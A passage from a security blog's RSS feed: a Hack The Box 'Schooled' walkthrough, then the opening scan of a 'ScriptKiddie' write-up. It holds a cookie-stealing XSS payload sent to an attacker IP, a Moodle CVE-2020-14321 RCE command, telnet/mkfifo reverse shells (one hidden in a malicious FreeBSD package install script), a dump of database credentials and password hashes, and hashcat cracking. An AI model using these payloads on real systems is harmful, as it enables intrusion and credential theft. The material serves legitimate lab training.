<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">2021</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">06</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">23</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 10</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">34</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">45</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> Starting gobuster </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">in</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> VHOST enumeration mode</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">===============================================================</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Found: moodle.schooled.htb (Status: </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">200</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) [</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">Size</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">: </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">84</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">]</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>The <code>moodle.schooled.htb</code> virtual host displays a <code>Moodle</code> Web application where it is possible to sign in with an email address that belongs to the domain <code>student.schooled.htb</code>. Furthermore, the email address is not verified. It is then possible to log in.</p>
<!-- ![moodle-dashboard](./images/htb-schooled/moodle-dashboard.png) -->
<p>The moodle version <code>3.9</code> was retrieved from the URL <code>http://moodle.schooled.htb/moodle/lib/upgrade.txt</code>.</p>
<p>Using the tool <a href="https://github.com/inc0d3/moodlescan" target="_blank" rel="noopener noreferrer">moodlescan</a>, the exact version of the instance was found. It was the version <code>3.9.0-beta</code>.</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>&gt; python3 moodlescan.py -u http://moodle.schooled.htb/moodle</span></span>
<span class="line"><span>Getting server information http://moodle.schooled.htb/moodle ...</span></span>
<span class="line"><span></span></span>
<span class="line"><span>server          : Apache/2.4.46 (FreeBSD) PHP/7.4.15</span></span>
<span class="line"><span>x-powered-by    : PHP/7.4.15</span></span>
<span class="line"><span>x-frame-options : sameorigin</span></span>
<span class="line"><span>last-modified   : Wed, 23 Jun 2021 13:27:13 GMT</span></span>
<span class="line"><span></span></span>
<span class="line"><span>Getting moodle version...</span></span>
<span class="line"><span></span></span>
<span class="line"><span>Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta</span></span>
<span class="line"><span></span></span>
<span class="line"><span>Searching vulnerabilities...</span></span>
<span class="line"><span></span></span>
<span class="line"><span>Vulnerabilities found: 0</span></span>
<span class="line"><span></span></span>
<span class="line"><span>Scan completed.</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>This version is impacted by the <code>CVE-2020-14321</code> and an exploit can be found here <a href="https://github.com/lanzt/CVE-2020-14321" target="_blank" rel="noopener noreferrer">https://github.com/lanzt/CVE-2020-14321</a>. However, the minimum requierement is to have a <code>teacher</code> account, which I do not have.</p>
<p>I was able to enroll the user account I created into the course <code>Mathematics</code>. I was not able to to a lot of things from that access.
Into the announcment, a teacher named <code>Manuel Phillips</code> is saying</p>
<figure><figcaption>message-teacher</figcaption></figure>
<p>So <code>Manuel Phillips</code> will check the <code>MoodleNet</code> user profiles. This field can be defined under the user settings.</p>
<p>After digging a little bit I discovered an XSS when the following payload for the field <code>MoodleNet profile</code> is <code>"&gt;&lt;script&gt;document.location="http://10.10.14.39:8000/"+document.cookie&lt;/script&gt;&lt;"</code>.</p>
<p>I was able to receive a connection with a valid cookie for the user <code>Manuel Phillips</code> after unrolling the course and enrolled back to it.</p>
<!-- ![cookie](./images/htb-schooled/cookie.png) -->
<p>I was able to use the freshly captured cookie in order to exploit the <code>CVE-2020-14321</code>. The box is a <code>FreeBSD</code> and therefore <code>netcat</code> is available.</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>&gt;  python3 CVE-2020-14321_RCE.py http://moodle.schooled.htb/moodle --cookie d2fcr2lnbnst78p4mj2u447b4k --cdomain moodle.schooled.htb --cpath /moodle/ -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i |telnet 10.10.14.39 8443 &gt; /tmp/f'</span></span>
<span class="line"><span> __     __     __   __  __   __              __  __</span></span>
<span class="line"><span>/  \  /|_  __   _) /  \  _) /  \ __  /| |__|  _)  _) /|</span></span>
<span class="line"><span>\__ \/ |__     /__ \__/ /__ \__/      |    | __) /__  | _ by lanz</span></span>
<span class="line"><span></span></span>
<span class="line"><span>Moodle 3.9 - Remote Command Execution (Authenticated as teacher)</span></span>
<span class="line"><span>Course enrolments allowed privilege escalation from teacher role into manager role to RCE</span></span>
<span class="line"><span></span></span>
<span class="line"><span>[+] Login on site: MoodleSession:d2fcr2lnbnst78p4mj2u447b4k _</span></span>
<span class="line"><span>[+] Updating roles to move on manager accout: _</span></span>
<span class="line"><span>[+] Updating rol manager to enable install plugins: _</span></span>
<span class="line"><span>[+] Uploading malicious file .zip: _</span></span>
<span class="line"><span>[+] Executing rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i |telnet 10.10.14.39 8443 &gt; /tmp/f: _</span></span>
<span class="line"><span>[+] Keep breaking ev3rYthiNg!!</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>I got a reverse access as the user <code>www</code>.</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>&gt; nc -nlvp 8443</span></span>
<span class="line"><span>Listening on 0.0.0.0 8443</span></span>
<span class="line"><span>Connection received on 10.129.62.229 59058</span></span>
<span class="line"><span>id; hostname</span></span>
<span class="line"><span>uid=80(www) gid=80(www) groups=80(www)</span></span>
<span class="line"><span>Schooled</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>I looked for secrets in the moodle application directory and found the file <code>config.php</code> file that contains sensitive information.</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>&gt; find / -name "config.php" 2&gt;/dev/null | grep "moodle/config.php"</span></span>
<span class="line"><span>/usr/local/www/apache24/data/moodle/config.php</span></span>
<span class="line"><span></span></span>
<span class="line"><span>&gt; cat /usr/local/www/apache24/data/moodle/config.php</span></span>
<span class="line"><span>&lt;?php  // Moodle configuration file</span></span>
<span class="line"><span></span></span>
<span class="line"><span>unset($CFG);</span></span>
<span class="line"><span>global $CFG;</span></span>
<span class="line"><span>$CFG = new stdClass();</span></span>
<span class="line"><span></span></span>
<span class="line"><span>$CFG-&gt;dbtype    = 'mysqli';</span></span>
<span class="line"><span>$CFG-&gt;dblibrary = 'native';</span></span>
<span class="line"><span>$CFG-&gt;dbhost    = 'localhost';</span></span>
<span class="line"><span>$CFG-&gt;dbname    = 'moodle';</span></span>
<span class="line"><span>$CFG-&gt;dbuser    = 'moodle';</span></span>
<span class="line"><span>$CFG-&gt;dbpass    = 'PlaybookMaster2020';</span></span>
<span class="line"><span>$CFG-&gt;prefix    = 'mdl_';</span></span>
<span class="line"><span>$CFG-&gt;dboptions = array (</span></span>
<span class="line"><span>  'dbpersist' =&gt; 0,</span></span>
<span class="line"><span>  'dbport' =&gt; 3306,</span></span>
<span class="line"><span>  'dbsocket' =&gt; '',</span></span>
<span class="line"><span>  'dbcollation' =&gt; 'utf8_unicode_ci',</span></span>
<span class="line"><span>);</span></span>
<span class="line"><span></span></span>
<span class="line"><span>$CFG-&gt;wwwroot   = 'http://moodle.schooled.htb/moodle';</span></span>
<span class="line"><span>$CFG-&gt;dataroot  = '/usr/local/www/apache24/moodledata';</span></span>
<span class="line"><span>$CFG-&gt;admin     = 'admin';</span></span>
<span class="line"><span></span></span>
<span class="line"><span>$CFG-&gt;directorypermissions = 0777;</span></span>
<span class="line"><span></span></span>
<span class="line"><span>require_once(__DIR__ . '/lib/setup.php');</span></span>
<span class="line"><span></span></span>
<span class="line"><span>// There is no php closing tag in this file,</span></span>
<span class="line"><span>// it is intentional because it prevents trailing whitespace problems!</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>I was then able to extract the database informations :</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>&gt; /usr/local/bin/mysql -u moodle --password=PlaybookMaster2020 -e "use moodle; select email,username,password from mdl_user; exit"</span></span>
<span class="line"><span>email   username        password</span></span>
<span class="line"><span>root@localhost  guest   $2y$10$u8DkSWjhZnQhBk1a0g1ug.x79uhkx/sa7euU8TI4FX4TCaXK6uQk2</span></span>
<span class="line"><span>jamie@staff.schooled.htb        admin   $2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW</span></span>
<span class="line"><span>bell_oliver89@student.schooled.htb      bell_oliver89   $2y$10$N0feGGafBvl.g6LNBKXPVOpkvs8y/axSPyXb46HiFP3C9c42dhvgK</span></span>
<span class="line"><span>orchid_sheila89@student.schooled.htb    orchid_sheila89 $2y$10$YMsy0e4x4vKq7HxMsDk.OehnmAcc8tFa0lzj5b1Zc8IhqZx03aryC</span></span>
<span class="line"><span>chard_elizabeth89@student.schooled.htb  chard_ellzabeth89       $2y$10$D0Hu9XehYbTxNsf/uZrxXeRp/6pmT1/6A.Q2CZhbR26lCPtf68wUC</span></span>
<span class="line"><span>morris_jake89@student.schooled.htb      morris_jake89   $2y$10$UieCKjut2IMiglWqRCkSzerF.8AnR8NtOLFmDUcQa90lair7LndRy</span></span>
<span class="line"><span>heel_james89@student.schooled.htb       heel_james89    $2y$10$sjk.jJKsfnLG4r5rYytMge4sJWj4ZY8xeWRIrepPJ8oWlynRc9Eim</span></span>
<span class="line"><span>nash_michael89@student.schooled.htb     nash_michael89  $2y$10$yShrS/zCD1Uoy0JMZPCDB.saWGsPUrPyQZ4eAS50jGZUp8zsqF8tu</span></span>
<span class="line"><span>singh_rakesh89@student.schooled.htb     singh_rakesh89  $2y$10$Yd52KrjMGJwPUeDQRU7wNu6xjTMobTWq3eEzMWeA2KsfAPAcHSUPu</span></span>
<span class="line"><span>taint_marcus89@student.schooled.htb     taint_marcus89  $2y$10$kFO4L15Elng2Z2R4cCkbdOHyh5rKwnG4csQ0gWUeu2bJGt4Mxswoa</span></span>
<span class="line"><span>walls_shaun89@student.schooled.htb      walls_shaun89   $2y$10$EDXwQZ9Dp6UNHjAF.ZXY2uKV5NBjNBiLx/WnwHiQ87Dk90yZHf3ga</span></span>
<span class="line"><span>smith_john89@student.schooled.htb       smith_john89    $2y$10$YRdwHxfstP0on0Yzd2jkNe/YE/9PDv/YC2aVtC97mz5RZnqsZ/5Em</span></span>
<span class="line"><span>white_jack89@student.schooled.htb       white_jack89    $2y$10$PRy8LErZpSKT7YuSxlWntOWK/5LmSEPYLafDd13Nv36MxlT5yOZqK</span></span>
<span class="line"><span>travis_carl89@student.schooled.htb      travis_carl89   $2y$10$VO/MiMUhZGoZmWiY7jQxz.Gu8xeThHXCczYB0nYsZr7J5PZ95gj9S</span></span>
<span class="line"><span>mac_amy89@student.schooled.htb  mac_amy89       $2y$10$PgOU/KKquLGxowyzPCUsi.QRTUIrPETU7q1DEDv2Dt.xAjPlTGK3i</span></span>
<span class="line"><span>james_boris89@student.schooled.htb      james_boris89   $2y$10$N4hGccQNNM9oWJOm2uy1LuN50EtVcba/1MgsQ9P/hcwErzAYUtzWq</span></span>
<span class="line"><span>pierce_allan89@student.schooled.htb     pierce_allan    $2y$10$ia9fKz9.arKUUBbaGo2FM.b7n/QU1WDAFRafgD6j7uXtzQxLyR3Zy</span></span>
<span class="line"><span>henry_william89@student.schooled.htb    henry_william89 $2y$10$qj67d57dL/XzjCgE0qD1i.ION66fK0TgwCFou9yT6jbR7pFRXHmIu</span></span>
<span class="line"><span>harper_zoe89@student.schooled.htb       harper_zoe89    $2y$10$mnYTPvYjDwQtQuZ9etlFmeiuIqTiYxVYkmruFIh4rWFkC3V1Y0zPy</span></span>
<span class="line"><span>wright_travis89@student.schooled.htb    wright_travis89 $2y$10$XFE/IKSMPg21lenhEfUoVemf4OrtLEL6w2kLIJdYceOOivRB7wnpm</span></span>
<span class="line"><span>allen_matthew89@student.schooled.htb    allen_matthew89 $2y$10$kFYnbkwG.vqrorLlAz6hT.p0RqvBwZK2kiHT9v3SHGa8XTCKbwTZq</span></span>
<span class="line"><span>sanders_wallis89@student.schooled.htb   sanders_wallis89        $2y$10$br9VzK6V17zJttyB8jK9Tub/1l2h7mgX1E3qcUbLL.GY.JtIBDG5u</span></span>
<span class="line"><span>higgins_jane@staff.schooled.htb higgins_jane    $2y$10$n9SrsMwmiU.egHN60RleAOauTK2XShvjsCS0tAR6m54hR1Bba6ni2</span></span>
<span class="line"><span>phillips_manuel@staff.schooled.htb      phillips_manuel $2y$10$ZwxEs65Q0gO8rN8zpVGU2eYDvAoVmWYYEhHBPovIHr8HZGBvEYEYG</span></span>
<span class="line"><span>carter_lianne@staff.schooled.htb        carter_lianne   $2y$10$jw.KgN/SIpG2MAKvW8qdiub67JD7STqIER1VeRvAH4fs/DPF57JZe</span></span>
<span class="line"><span>parker_dan89@student.schooled.htb       parker_dan89    $2y$10$MYvrCS5ykPXX0pjVuCGZOOPxgj.fiQAZXyufW5itreQEc2IB2.OSi</span></span>
<span class="line"><span>parker_tim89@student.schooled.htb       parker_tim89    $2y$10$YCYp8F91YdvY2QCg3Cl5r.jzYxMwkwEm/QBGYIs.apyeCeRD7OD6S</span></span>
<span class="line"><span>test@student.schooled.htb       hophouse        $2y$10$7AIkobPpsZOGStmWtyX9d.n6ZNx.biZ5RihfGFtd6bFdglw3cQBbq</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>hashcat -a 7 -m 3200 hashes.txt 'mdl_' /opt/SecLists/Passwords/Leaked-Databases/rockyou-75.txt</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>&gt; hashcat -a 0 -m 3200 schooled_hashes.txt /mnt/RAID5/Wordlists/password-cracking/SecLists/Passwords/Leaked-Databases/rockyou-75.txt</span></span>
<span class="line"><span></span></span>
<span class="line"><span>$2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW:!QAZ2wsx</span></span>
<span class="line"><span>Approaching final keyspace - workload adjusted.</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>The cracked password <code>!QAZ2wsx</code> was tested for the user <code>jamie</code> through SSH.</p>
<figure><figcaption>jamie-ssh</figcaption></figure>
<h3>Flag</h3>
<p>The flag was retrieved on the machine.</p>
<figure><figcaption>user-flag</figcaption></figure>
<h2>Root</h2>
<p>The binary <code>pkg</code> is allowed to run as superuser by the user <code>jamie</code> with <code>sudo</code>.</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>jamie@Schooled:~ $ sudo -l</span></span>
<span class="line"><span>User jamie may run the following commands on Schooled:</span></span>
<span class="line"><span>    (ALL) NOPASSWD: /usr/sbin/pkg update</span></span>
<span class="line"><span>    (ALL) NOPASSWD: /usr/sbin/pkg install *</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>It is possible to execute command via the installation of an arbitrary package. More information can be retrieved from <a href="https://gtfobins.github.io/gtfobins/pkg/" target="_blank" rel="noopener noreferrer">https://gtfobins.github.io/gtfobins/pkg/</a>.</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>&gt; tree exploit-package</span></span>
<span class="line"><span>exploit-package</span></span>
<span class="line"><span>`-- x.sh</span></span>
<span class="line"><span></span></span>
<span class="line"><span>0 directories, 1 file</span></span>
<span class="line"><span>&gt; cat exploit-package/x.sh</span></span>
<span class="line"><span>rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i |telnet 10.10.14.39 8443 &gt; /tmp/f</span></span>
<span class="line"><span>&gt; fpm -n x -s dir -t freebsd -a all --before-install exploit-package/x.sh exploit-package</span></span>
<span class="line"><span>File already exists, refusing to continue: x-1.0.txz {:level=&gt;:fatal}</span></span>
<span class="line"><span>_  scripts cat exploit-package/x.sh</span></span>
<span class="line"><span>_  scripts rm x-1.0.txz</span></span>
<span class="line"><span>_  scripts fpm -n x -s dir -t freebsd -a all --before-install exploit-package/x.sh exploit-package</span></span>
<span class="line"><span>Created package {:path=&gt;"x-1.0.txz"}</span></span>
<span class="line"><span>&gt; scp x-1.0.txz jamie@schooled.htb:/tmp/</span></span>
<span class="line"><span>Password for jamie@Schooled:</span></span>
<span class="line"><span>x-1.0.txz</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>On the machine, the following command was executed :</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>jamie@Schooled:~ $ sudo  /usr/sbin/pkg install -y --no-repo-update  x-1.0.txz</span></span>
<span class="line"><span>pkg: Repository FreeBSD has a wrong packagesite, need to re-create database</span></span>
<span class="line"><span>pkg: Repository FreeBSD cannot be opened. 'pkg update' required</span></span>
<span class="line"><span>Checking integrity... done (0 conflicting)</span></span>
<span class="line"><span>The following 1 package(s) will be affected (of 0 checked):</span></span>
<span class="line"><span></span></span>
<span class="line"><span>New packages to be INSTALLED:</span></span>
<span class="line"><span>        x: 1.0</span></span>
<span class="line"><span></span></span>
<span class="line"><span>Number of packages to be installed: 1</span></span>
<span class="line"><span>[1/1] Installing x-1.0...</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>A reverse shell as <code>root</code> was retrieved.
</p>
<h3>Flag</h3>
<p>The root flag was retrieved on the machine.</p>
<figure><figcaption>root-flag</figcaption></figure>
]]></content:encoded>
      <enclosure url="https://blog.hophouse.fr/htb-header.png" type="image/png"/>
    </item>
    <item>
      <title>ScriptKiddie</title>
      <link>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-ScriptKiddie.html</link>
      <guid>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-ScriptKiddie.html</guid>
      <source url="https://blog.hophouse.fr/rss.xml">ScriptKiddie</source>
      <description>box_informationsbox_informations Scan As usual, both TCP and UDP ports scan was done on the box. The TCP scan revealed that the following ports are open: TCP scan The TCP scan s...</description>
      <category>Write-Up</category>
      <pubDate>Wed, 28 Apr 2021 00:00:00 GMT</pubDate>
      <content:encoded><![CDATA[<figure><figcaption>box_informations</figcaption></figure>
<h2>Scan</h2>
<p>As usual, both TCP and UDP ports scan was done on the box. The TCP scan revealed that the following ports are open:</p>
<h3>TCP scan</h3>
<p>The TCP scan shows that there are only 2 ports listening.</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">nmap</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -p-</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -Pn</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> --open</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -iL</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> ../input_ip.txt</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -oA</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> nmap_open_tcp_ports</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Host</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> discovery</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> disabled</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (-Pn). All addresses will be marked </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">'up'</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> and scan times will be slower.</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Starting</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Nmap</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 7.91</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> ( </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">https://nmap.org</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> ) at 2021-04-16 12:54 UTC</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Nmap</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> scan</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> report</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> for</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 10.10.10.226</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Host</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> is</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> up</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (0.046s </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">latency</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">).</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Not</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> shown:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 65533</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> closed</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> ports</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">PORT</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">     STATE</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> SERVICE</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">22/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">   open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  ssh</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">5000/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  upnp</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Nmap</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> done:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 1</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> IP</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> address</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (1 </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">host</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> up</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) scanned in 15.93 seconds</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><h4>TCP/22</h4>
<p>A quick fingerprint is done on the server. A connection attempt was also made in order to know what scheme it accepts.</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> nc -v 10.10.10.226 22</span></span>
